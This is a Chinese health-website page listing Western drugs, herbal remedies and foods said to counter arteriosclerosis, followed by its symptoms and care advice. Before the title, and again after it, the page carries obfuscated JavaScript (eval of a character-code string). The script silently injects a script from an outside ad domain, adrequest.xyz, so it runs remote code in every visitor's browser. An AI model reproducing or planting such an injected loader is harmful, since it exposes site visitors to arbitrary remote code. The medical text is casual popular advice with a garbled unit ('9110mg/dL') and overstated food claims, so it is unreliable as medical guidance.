var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); 抗动脉硬化的药物有哪些 | 锦利国际养生网大众养生网 - 提供健康养生,中医保健知识,营养师问题和食谱 var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 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抗动脉硬化的药物有哪些

抗动脉硬化的药物有哪些

        1、抗动脉硬化的西药

       1.1、扩张血管药物:解除血管运动障碍,可用血管扩张剂(参阅“心绞痛”和“闭塞性动脉硬化”)。

       1.2、调整血脂药物:血脂增高的病人,经上述饮食调节和注意进行体力活动后,仍高于正常,总胆固醇>5.2mmol/L (200mg/dL)、低密度脂蛋白胆固醇>3.4mmol/L (130mg/dL)、甘油三酯>1.24mmol/L 9110mg/dL)者。

       1.3、抗血小板药物:抗血小板聚集和粘附和药物,可防止血栓形成,可能有助于防止血管阻塞性病变和病情的发展,可用于心肌梗塞后预防复发和预防脑动脉血栓栓塞:阿司匹林0.3g/d或用更小的剂量50mg/d,通过抑制TXA2的生成而较少影响PGI2的产生而起作用。双嘧达莫。

        2、抗动脉硬化的中药

       2.1、罗布麻:动物实验证明,高胆固醇血症大鼠经罗布麻处理后,血清中胆固醇、低密度脂蛋白胆固醇浓度和动脉硬化指数,以及肝脏中胆固醇浓度均明显降低,仅血清中的高密度脂蛋白胆固醇浓度增加。提示罗布麻有降低胆固醇浓度,防止动脉硬化形成的作用。

       抗动脉硬化的药物

       2.2、川芎:中医学认为,川芎有行气及活血化淤的功效。将川芎嗪注入动脉粥样硬化模型兔后,发现该组兔动脉粥样硬化病变明显减少,血清胆固醇及血浆内皮素亦明显降低。故推断川芎嗪能通过调节脂质代谢,改善和保护血管内皮细胞功能,实现其抗动脉粥样硬化的作用。

       2.3、赤芍:赤芍味苦,微寒,功效为清热凉血,祛淤止痛。临床应用表明,赤芍有改善动脉硬化心脑血管临床症状、血小板功能和花生四烯酸代谢的作用,并能改善微循环,抑制血小板聚集和抗血栓形成,扩张冠脉血管,增加冠脉血流量,还能使主动脉粥样硬化斑块面积减少,具有肯定的抗动脉粥样硬化的作用。

       3、抗动脉硬化的食物

       小白菜:小白菜中含有大量粗纤维,进入人体内与脂肪结合后,可防止血浆胆固醇形成,促使胆固醇代谢物胆酸得以排出体外,以减少动脉粥样硬化的形成,从而保持血管弹性。

      花菜:中医有“白色入肺”之说,洁白的花菜无疑是一种适时的保健蔬菜,不但能预防感冒等呼吸道疾病,还是一种非常好的血管清理剂。

      芥蓝:芥蓝具有降低胆固醇,软化血管,预防心脏病等功效。

     西兰花:西兰花是含有类黄酮最多的食物之一,类黄酮除了可以防止感染,还是最好的血管清理剂,能够阻止胆固醇氧化,防止血小板凝结,因而可以减少心脏病与中风的危险。

      动脉硬化的症状

       1、头晕头痛

       动脉硬化早期,患者会感觉头晕头痛,并且多在额部枕部钝痛。在体位变动时出现或原有头晕头痛症状加重。有时感觉走路不稳。如基底动脉硬化时可有眩晕、眼球震颤、恶心、面部肌肉麻痹感。有的并有吞咽困难。

       2、记忆力减退

       患上动脉硬化后,患者会出现注意力不集中、脑力劳动能力降低,感到工作和学习都吃力。记忆力减退还表现为遇事忘得快、往事记得清楚,但记忆力缺损不明显。

       抗动脉硬化的药物

       3、早期睡眠障碍

       动脉硬化的早期表现还有入睡难,多梦、易惊醒。

       4、情绪行为改变

       动脉硬化患者会表现出自制力降低,易伤感,有时情绪低落,有时高兴、易激动。有的烦躁不安、多疑、恐慌、处事寡断。有的出现欣快症,强行嬉笑。这种精神症状常引起家庭不和。早期动脉硬化精神症状时轻时重,各人表现不一,交替出现,常被误诊为“神经衰弱”、“神经官能症”、“更年期综合征”。

       动脉硬化的护理

       1、提高人群对高血压知晓率、治疗率和控制率,有效地监测,选用β-受体阻滞药、血管紧张素转换酶抑制药、钙通道拮抗药和利尿药等控制血压;

      抗动脉硬化的药物

       2、保持血胆固醇水平在5.20~6.24mmol/L的临界水平以下,调节饮食,适当选用各种降脂药如他汀类等;

      3、定期监测血糖,高三酰甘油血症患者应有效控制糖尿病;

      4、养成健康生活方式,戒烟限酒,增加户外运动,减少体重,均衡饮食,保持心理平衡等。

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